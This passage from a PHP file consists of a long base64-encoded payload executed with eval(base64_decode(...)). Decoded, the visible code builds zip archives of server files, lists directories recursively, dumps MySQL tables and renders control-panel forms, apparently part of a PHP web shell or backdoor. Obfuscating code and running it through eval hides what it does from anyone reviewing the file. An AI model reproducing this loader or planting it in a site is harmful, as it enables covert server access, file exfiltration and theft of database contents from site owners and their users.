bnRlbnQgPSBAZnJlYWQgKCRmZCwgZmlsZXNpemUoJGZpbGVuYW1lKSk7CgkJCQkJCWZjbG9zZSAoJGZkKTsKCQkJCQkJaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkZmlsZW5hbWUpOwoJCQkJCQkkdGhpcyAtPiBhZGRGaWxlKCRjb250ZW50LCAkZmlsZW5hbWUpOwoJCQkJCX0KCQkJCX0KCQkJCSR0aGlzLT5vdXQgPSAkdGhpcyAtPiBmaWxlKCk7CgkJCQljaGRpcigkY3VyZGlyKTsKCQkJfQoJCQlyZXR1cm4gMTsKCQl9CgkJZWxzZSByZXR1cm4gMDsKCX0KCgkvLyBTaG93IGZpbGUgbGlzdAoJZnVuY3Rpb24gR2V0RmlsZUxpc3QoJGRpcil7CgkJc3RhdGljICRhOwoJCWlmIChpc19kaXIoJGRpcikpIHsKCQkJaWYgKCRkaCA9IG9wZW5kaXIoJGRpcikpIHsKCQkJCXdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgewoJCQkJCWlmKCRmaWxlIT0nLicgJiYgJGZpbGUhPScuLicpewoJCQkJCQkkZj0kZGlyIC4nLycuICRmaWxlOwoJCQkJCQlpZihpc19kaXIoJGYpKSAkdGhpcy0+R2V0RmlsZUxpc3QoJGYpOwoJCQkJCQkkYVtdPSRmOwoJCQkJCX0KCQkJCX0KCQkJCWNsb3NlZGlyKCRkaCk7CgkJCX0KCQl9CgkJcmV0dXJuICRhOwoJfQoKCXZhciAkZGF0YXNlYyAgICAgID0gYXJyYXkoKTsKCXZhciAkY3RybF9kaXIgICAgID0gYXJyYXkoKTsKCXZhciAkZW9mX2N0cmxfZGlyID0gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgwMFx4MDBceDAwIjsKCXZhciAkb2xkX29mZnNldCAgID0gMDsKCglmdW5jdGlvbiB1bml4MkRvc1RpbWUoJHVuaXh0aW1lID0gMCkgewoJCSR0aW1lYXJyYXkgPSAoJHVuaXh0aW1lID09IDApID8gZ2V0ZGF0ZSgpIDogZ2V0ZGF0ZSgkdW5peHRpbWUpOwoJCWlmICgkdGltZWFycmF5Wyd5ZWFyJ10gPCAxOTgwKSB7CgkJCSR0aW1lYXJyYXlbJ3llYXInXSAgICA9IDE5ODA7CgkJCSR0aW1lYXJyYXlbJ21vbiddICAgICA9IDE7CgkJCSR0aW1lYXJyYXlbJ21kYXknXSAgICA9IDE7CgkJCSR0aW1lYXJyYXlbJ2hvdXJzJ10gICA9IDA7CgkJCSR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA9IDA7CgkJCSR0aW1lYXJyYXlbJ3NlY29uZHMnXSA9IDA7CgkJfSAvLyBlbmQgaWYKCQlyZXR1cm4gKCgkdGltZWFycmF5Wyd5ZWFyJ10gLSAxOTgwKSA8PCAyNSkgfCAoJHRpbWVhcnJheVsnbW9uJ10gPDwgMjEpIHwgKCR0aW1lYXJyYXlbJ21kYXknXSA8PCAxNikgfAoJCQkJKCR0aW1lYXJyYXlbJ2hvdXJzJ10gPDwgMTEpIHwgKCR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA8PCA1KSB8ICgkdGltZWFycmF5WydzZWNvbmRzJ10gPj4gMSk7Cgl9CgoJZnVuY3Rpb24gYWRkRmlsZSgkZGF0YSwgJG5hbWUsICR0aW1lID0gMCkgewoJCSRuYW1lID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbmFtZSk7CgoJCSRkdGltZSA9IGRlY2hleCgkdGhpcy0+dW5peDJEb3NUaW1lKCR0aW1lKSk7CgkJJGhleGR0aW1lCT0gJ1x4JyAuICRkdGltZVs2XSAuICRkdGltZVs3XQoJCQkJCS4gJ1x4JyAuICRkdGltZVs0XSAuICRkdGltZVs1XQoJCQkJCS4gJ1x4JyAuICRkdGltZVsyXSAuICRkdGltZVszXQoJCQkJCS4gJ1x4JyAuICRkdGltZVswXSAuICRkdGltZVsxXTsKCQlldmFsKCckaGV4ZHRpbWUgPSAiJyAuICRoZXhkdGltZSAuICciOycpOwoJCSRmcgk9ICJceDUwXHg0Ylx4MDNceDA0IjsKCQkkZnIJLj0gIlx4MTRceDAwIjsKCQkkZnIJLj0gIlx4MDBceDAwIjsKCQkkZnIJLj0gIlx4MDhceDAwIjsKCQkkZnIJLj0gJGhleGR0aW1lOwoKCQkkdW5jX2xlbiA9IHN0cmxlbigkZGF0YSk7CgkJJGNyYyA9IGNyYzMyKCRkYXRhKTsKCQkkemRhdGEgPSBnemNvbXByZXNzKCRkYXRhKTsKCQkkY19sZW4gPSBzdHJsZW4oJHpkYXRhKTsKCQkkemRhdGEgPSBzdWJzdHIoc3Vic3RyKCR6ZGF0YSwgMCwgc3RybGVuKCR6ZGF0YSkgLSA0KSwgMik7CgkJJGZyIC49IHBhY2soJ1YnLCAkY3JjKTsKCQkkZnIgLj0gcGFjaygnVicsICRjX2xlbik7CgkJJGZyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7CgkJJGZyIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpKTsKCQkkZnIgLj0gcGFjaygndicsIDApOwoJCSRmciAuPSAkbmFtZTsKCQkkZnIgLj0gJHpkYXRhOwoJCSRmciAuPSBwYWNrKCdWJywgJGNyYyk7CgkJJGZyIC49IHBhY2soJ1YnLCAkY19sZW4pOwoJCSRmciAuPSBwYWNrKCdWJywgJHVuY19sZW4pOwoKCQkkdGhpcyAtPiBkYXRhc2VjW10gPSAkZnI7CgkJJG5ld19vZmZzZXQgPSBzdHJsZW4oaW1wbG9kZSgnJywgJHRoaXMtPmRhdGFzZWMpKTsKCgkJJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOwoJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOwoJCSRjZHJlYyAuPSAiXHgxNFx4MDAiOwoJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOwoJCSRjZHJlYyAuPSAiXHgwOFx4MDAiOwoJCSRjZHJlYyAuPSAkaGV4ZHRpbWU7CgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsKCQkkY2RyZWMgLj0gcGFjaygnVicsICRjX2xlbik7CgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ1YnLCAzMiApOwoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJHRoaXMgLT4gb2xkX29mZnNldCApOwoJCSR0aGlzIC0+IG9sZF9vZmZzZXQgPSAkbmV3X29mZnNldDsKCQkkY2RyZWMgLj0gJG5hbWU7CgoJCSR0aGlzIC0+IGN0cmxfZGlyW10gPSAkY2RyZWM7Cgl9CgoJZnVuY3Rpb24gZmlsZSgpIHsKCQkkZGF0YSAgICA9IGltcGxvZGUoJycsICR0aGlzIC0+IGRhdGFzZWMpOwoJCSRjdHJsZGlyID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gY3RybF9kaXIpOwoJCXJldHVybiAkZGF0YSAuICRjdHJsZGlyIC4gJHRoaXMgLT4gZW9mX2N0cmxfZGlyIC4gcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4gcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4JcGFjaygnVicsIHN0cmxlbigkY3RybGRpcikpIC4gcGFjaygnVicsIHN0cmxlbigkZGF0YSkpIC4gIlx4MDBceDAwIjsKCX0KfQoKLy8gRHVtcCBteXNxbApmdW5jdGlvbiBzcWxkdW1wdGFibGUoJHRhYmxlLCAkZnA9MCkgewoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iOwoJJHRhYmxlZHVtcCAuPSAiQ1JFQVRFIFRBQkxFICR0YWJsZSAoXG4iOwoKCSRmaXJzdGZpZWxkPTE7CgoJJGZpZWxkcyA9IHEoIlNIT1cgRklFTERTIEZST00gJHRhYmxlIik7Cgl3aGlsZSAoJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGZpZWxkcykpIHsKCQlpZiAoISRmaXJzdGZpZWxkKSB7CgkJCSR0YWJsZWR1bXAgLj0gIixcbiI7CgkJfSBlbHNlIHsKCQkJJGZpcnN0ZmllbGQ9MDsKCQl9CgkJJHRhYmxlZHVtcCAuPSAiICAgJGZpZWxkW0ZpZWxkXSAkZmllbGRbVHlwZV0iOwoJCWlmICghZW1wdHkoJGZpZWxkWyJEZWZhdWx0Il0pKSB7CgkJCSR0YWJsZWR1bXAgLj0gIiBERUZBVUxUICckZmllbGRbRGVmYXVsdF0nIjsKCQl9CgkJaWYgKCRmaWVsZFsnTnVsbCddICE9ICJZRVMiKSB7CgkJCSR0YWJsZWR1bXAgLj0gIiBOT1QgTlVMTCI7CgkJfQoJCWlmICgkZmllbGRbJ0V4dHJhJ10gIT0gIiIpIHsKCQkJJHRhYmxlZHVtcCAuPSAiICRmaWVsZFtFeHRyYV0iOwoJCX0KCX0KCWZyKCRmaWVsZHMpOwoKCSRrZXlzID0gcSgiU0hPVyBLRVlTIEZST00gJHRhYmxlIik7Cgl3aGlsZSAoJGtleSA9IG15c3FsX2ZldGNoX2FycmF5KCRrZXlzKSkgewoJCSRrbmFtZT0ka2V5WydLZXlfbmFtZSddOwoJCWlmICgka25hbWUgIT0gIlBSSU1BUlkiICYmICRrZXlbJ05vbl91bmlxdWUnXSA9PSAwKSB7CgkJCSRrbmFtZT0iVU5JUVVFfCRrbmFtZSI7CgkJfQoJCWlmKCFpc19hcnJheSgkaW5kZXhbJGtuYW1lXSkpIHsKCQkJJGluZGV4WyRrbmFtZV0gPSBhcnJheSgpOwoJCX0KCQkkaW5kZXhbJGtuYW1lXVtdID0gJGtleVsnQ29sdW1uX25hbWUnXTsKCX0KCWZyKCRrZXlzKTsKCgl3aGlsZShsaXN0KCRrbmFtZSwgJGNvbHVtbnMpID0gQGVhY2goJGluZGV4KSkgewoJCSR0YWJsZWR1bXAgLj0gIixcbiI7CgkJJGNvbG5hbWVzPWltcGxvZGUoJGNvbHVtbnMsIiwiKTsKCgkJaWYgKCRrbmFtZSA9PSAiUFJJTUFSWSIpIHsKCQkJJHRhYmxlZHVtcCAuPSAiICAgUFJJTUFSWSBLRVkgKCRjb2xuYW1lcykiOwoJCX0gZWxzZSB7CgkJCWlmIChzdWJzdHIoJGtuYW1lLDAsNikgPT0gIlVOSVFVRSIpIHsKCQkJCSRrbmFtZT1zdWJzdHIoJGtuYW1lLDcpOwoJCQl9CgkJCSR0YWJsZWR1bXAgLj0gIiAgIEtFWSAka25hbWUgKCRjb2xuYW1lcykiOwoJCX0KCX0KCgkkdGFibGVkdW1wIC49ICJcbik7XG5cbiI7CglpZiAoJGZwKSB7CgkJZndyaXRlKCRmcCwkdGFibGVkdW1wKTsKCX0gZWxzZSB7CgkJZWNobyAkdGFibGVkdW1wOwoJfQoKCSRyb3dzID0gcSgiU0VMRUNUICogRlJPTSAkdGFibGUiKTsKCSRudW1maWVsZHMgPSBteXNxbF9udW1fZmllbGRzKCRyb3dzKTsKCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJvd3MpKSB7CgkJJHRhYmxlZHVtcCA9ICJJTlNFUlQgSU5UTyAkdGFibGUgVkFMVUVTKCI7CgoJCSRmaWVsZGNvdW50ZXI9LTE7CgkJJGZpcnN0ZmllbGQ9MTsKCQl3aGlsZSAoKyskZmllbGRjb3VudGVyPCRudW1maWVsZHMpIHsKCQkJaWYgKCEkZmlyc3RmaWVsZCkgewoJCQkJJHRhYmxlZHVtcC49IiwgIjsKCQkJfSBlbHNlIHsKCQkJCSRmaXJzdGZpZWxkPTA7CgkJCX0KCgkJCWlmICghaXNzZXQoJHJvd1skZmllbGRjb3VudGVyXSkpIHsKCQkJCSR0YWJsZWR1bXAgLj0gIk5VTEwiOwoJCQl9IGVsc2UgewoJCQkJJHRhYmxlZHVtcCAuPSAiJyIubXlzcWxfZXNjYXBlX3N0cmluZygkcm93WyRmaWVsZGNvdW50ZXJdKS4iJyI7CgkJCX0KCQl9CgoJCSR0YWJsZWR1bXAgLj0gIik7XG4iOwoKCQlpZiAoJGZwKSB7CgkJCWZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7CgkJfSBlbHNlIHsKCQkJZWNobyAkdGFibGVkdW1wOwoJCX0KCX0KCWZyKCRyb3dzKTsKCWlmICgkZnApIHsKCQlmd3JpdGUoJGZwLCJcbiIpOwoJfSBlbHNlIHsKCQllY2hvICJcbiI7Cgl9Cn0KCmZ1bmN0aW9uIHVlKCRzdHIpewoJcmV0dXJuIHVybGVuY29kZSgkc3RyKTsKfQoKZnVuY3Rpb24gcCgkc3RyKXsKCWVjaG8gJHN0ci4iXG4iOwp9CgpmdW5jdGlvbiB0YmhlYWQoKSB7CglwKCc8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjQiIGNlbGxzcGFjaW5nPSIwIj4nKTsKfQpmdW5jdGlvbiB0YmZvb3QoKXsKCXAoJzwvdGFibGU+Jyk7Cn0KCmZ1bmN0aW9uIG1ha2VoaWRlKCRuYW1lLCR2YWx1ZT0nJyl7CglwKCI8aW5wdXQgaWQ9XCIkbmFtZVwiIHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiJG5hbWVcIiB2YWx1ZT1cIiR2YWx1ZVwiIC8+Iik7Cn0KCmZ1bmN0aW9uIG1ha2VpbnB1dCgkYXJnID0gYXJyYXkoKSl7CgkkYXJnWydzaXplJ10gPSAkYXJnWydzaXplJ10gPiAwID8gInNpemU9XCIkYXJnW3NpemVdXCIiIDogInNpemU9XCIxMDBcIiI7CgkkYXJnWydleHRyYSddID0gJGFyZ1snZXh0cmEnXSA/ICRhcmdbJ2V4dHJhJ10gOiAnJzsKCSEkYXJnWyd0eXBlJ10gJiYgJGFyZ1sndHlwZSddID0gJ3RleHQnOwoJJGFyZ1sndGl0bGUnXSA9ICRhcmdbJ3RpdGxlJ10gPyAkYXJnWyd0aXRsZSddLic8YnIgLz4nIDogJyc7CgkkYXJnWydjbGFzcyddID0gJGFyZ1snY2xhc3MnXSA/ICRhcmdbJ2NsYXNzJ10gOiAnaW5wdXQnOwoJaWYgKCRhcmdbJ25ld2xpbmUnXSkgewoJCXAoIjxwPiRhcmdbdGl0bGVdPGlucHV0IGNsYXNzPVwiJGFyZ1tjbGFzc11cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiIGlkPVwiJGFyZ1tuYW1lXVwiIHZhbHVlPVwiJGFyZ1t2YWx1ZV1cIiB0eXBlPVwiJGFyZ1t0eXBlXVwiICRhcmdbc2l6ZV0gJGFyZ1tleHRyYV0gLz48L3A+Iik7Cgl9IGVsc2UgewoJCXAoIiRhcmdbdGl0bGVdPGlucHV0IGNsYXNzPVwiJGFyZ1tjbGFzc11cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiIGlkPVwiJGFyZ1tuYW1lXVwiIHZhbHVlPVwiJGFyZ1t2YWx1ZV1cIiB0eXBlPVwiJGFyZ1t0eXBlXVwiICRhcmdbc2l6ZV0gJGFyZ1tleHRyYV0gLz4iKTsKCX0KfQoKZnVuY3Rpb24gbWFrZXNlbGVjdCgkYXJnID0gYXJyYXkoKSl7CglpZiAoJGFyZ1snb25jaGFuZ2UnXSkgewoJCSRvbmNoYW5nZSA9ICdvbmNoYW5nZT0iJy4kYXJnWydvbmNoYW5nZSddLiciJzsKCX0KCSRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXSA6ICcnOwoJaWYgKCRhcmdbJ25ld2xpbmUnXSkgcCgnPHA+Jyk7CglwKCIkYXJnW3RpdGxlXSA8c2VsZWN0IGNsYXNzPVwiaW5wdXRcIiBpZD1cIiRhcmdbbmFtZV1cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiICRvbmNoYW5nZT4iKTsKCQlpZiAoaXNfYXJyYXkoJGFyZ1snb3B0aW9uJ10pKSB7CgkJCWZvcmVhY2ggKCRhcmdbJ29wdGlvbiddIGFzICRrZXk9PiR2YWx1ZSkgewoJCQkJaWYgKCRhcmdbJ3NlbGVjdGVkJ109PSRrZXkpIHsKCQkJCQlwKCI8b3B0aW9uIHZhbHVlPVwiJGtleVwiIHNlbGVjdGVkPiR2YWx1ZTwvb3B0aW9uPiIpOwoJCQkJfSBlbHNlIHsKCQkJCQlwKCI8b3B0aW9uIHZhbHVlPVwiJGtleVwiPiR2YWx1ZTwvb3B0aW9uPiIpOwoJCQkJfQoJCQl9CgkJfQoJcCgiPC9zZWxlY3Q+Iik7CglpZiAoJGFyZ1snbmV3bGluZSddKSBwKCc8L3A+Jyk7Cn0KZnVuY3Rpb24gZm9ybWhlYWQoJGFyZyA9IGFycmF5KCkpIHsKCSEkYXJnWydtZXRob2QnXSAmJiAkYXJnWydtZXRob2QnXSA9ICdwb3N0JzsKCSEkYXJnWydhY3Rpb24nXSAmJiAkYXJnWydhY3Rpb24nXSA9ICRzZWxmOwoJJGFyZ1sndGFyZ2V0J10gPSAkYXJnWyd0YXJnZXQnXSA/ICJ0YXJnZXQ9XCIkYXJnW3RhcmdldF1cIiIgOiAnJzsKCSEkYXJnWyduYW1lJ10gJiYgJGFyZ1snbmFtZSddID0gJ2Zvcm0xJzsKCXAoIjxmb3JtIG5hbWU9XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgYWN0aW9uPVwiJGFyZ1thY3Rpb25dXCIgbWV0aG9kPVwiJGFyZ1ttZXRob2RdXCIgJGFyZ1t0YXJnZXRdPiIpOwoJaWYgKCRhcmdbJ3RpdGxlJ10pIHsKCQlwKCc8aDI+Jy4kYXJnWyd0aXRsZSddLicgJnJhcXVvOzwvaDI+Jyk7Cgl9Cn0KCmZ1bmN0aW9uIG1ha2V0ZXh0KCRhcmcgPSBhcnJheSgpKXsKCSEkYXJnWydjb2xzJ10gJiYgJGFyZ1snY29scyddID0gMTAwOwoJISRhcmdbJ3Jvd3MnXSAmJiAkYXJnWydyb3dzJ10gPSAyNTsKCSRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXS4nPGJyIC8+JyA6ICcnOwoJcCgiPHA+JGFyZ1t0aXRsZV08dGV4dGFyZWEgY2xhc3M9XCJhcmVhXCIgaWQ9XCIkYXJnW25hbWVdXCIgbmFtZT1cIiRhcmdbbmFtZV1cIiBjb2xzPVwiJGFyZ1tjb2xzXVwiIHJvd3M9XCIkYXJnW3Jvd3NdXCIgJGFyZ1tleHRyYV0+JGFyZ1t2YWx1ZV08L3RleHRhcmVhPjwvcD4iKTsKfQoKZnVuY3Rpb24gZm9ybWZvb3RlcigkbmFtZSA9ICcnKXsKCSEkbmFtZSAmJiAkbmFtZSA9ICdzdWJtaXQnOwoJcCgnPHA+PGlucHV0IGNsYXNzPSJidCIgbmFtZT0iJy4kbmFtZS4nIiBpZD1cIicuJG5hbWUuJ1wiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCI+PC9wPicpOwoJcCgnPC9mb3JtPicpOwp9CgpmdW5jdGlvbiBmb3JtZm9vdCgpewoJcCgnPC9mb3JtPicpOwp9CgovLyBFeGl0CmZ1bmN0aW9uIHByKCRhKSB7CgllY2hvICc8cHJlPic7CglwcmludF9yKCRhKTsKCWVjaG8gJzwvcHJlPic7Cn0='; eval(base64_decode($a)); ?>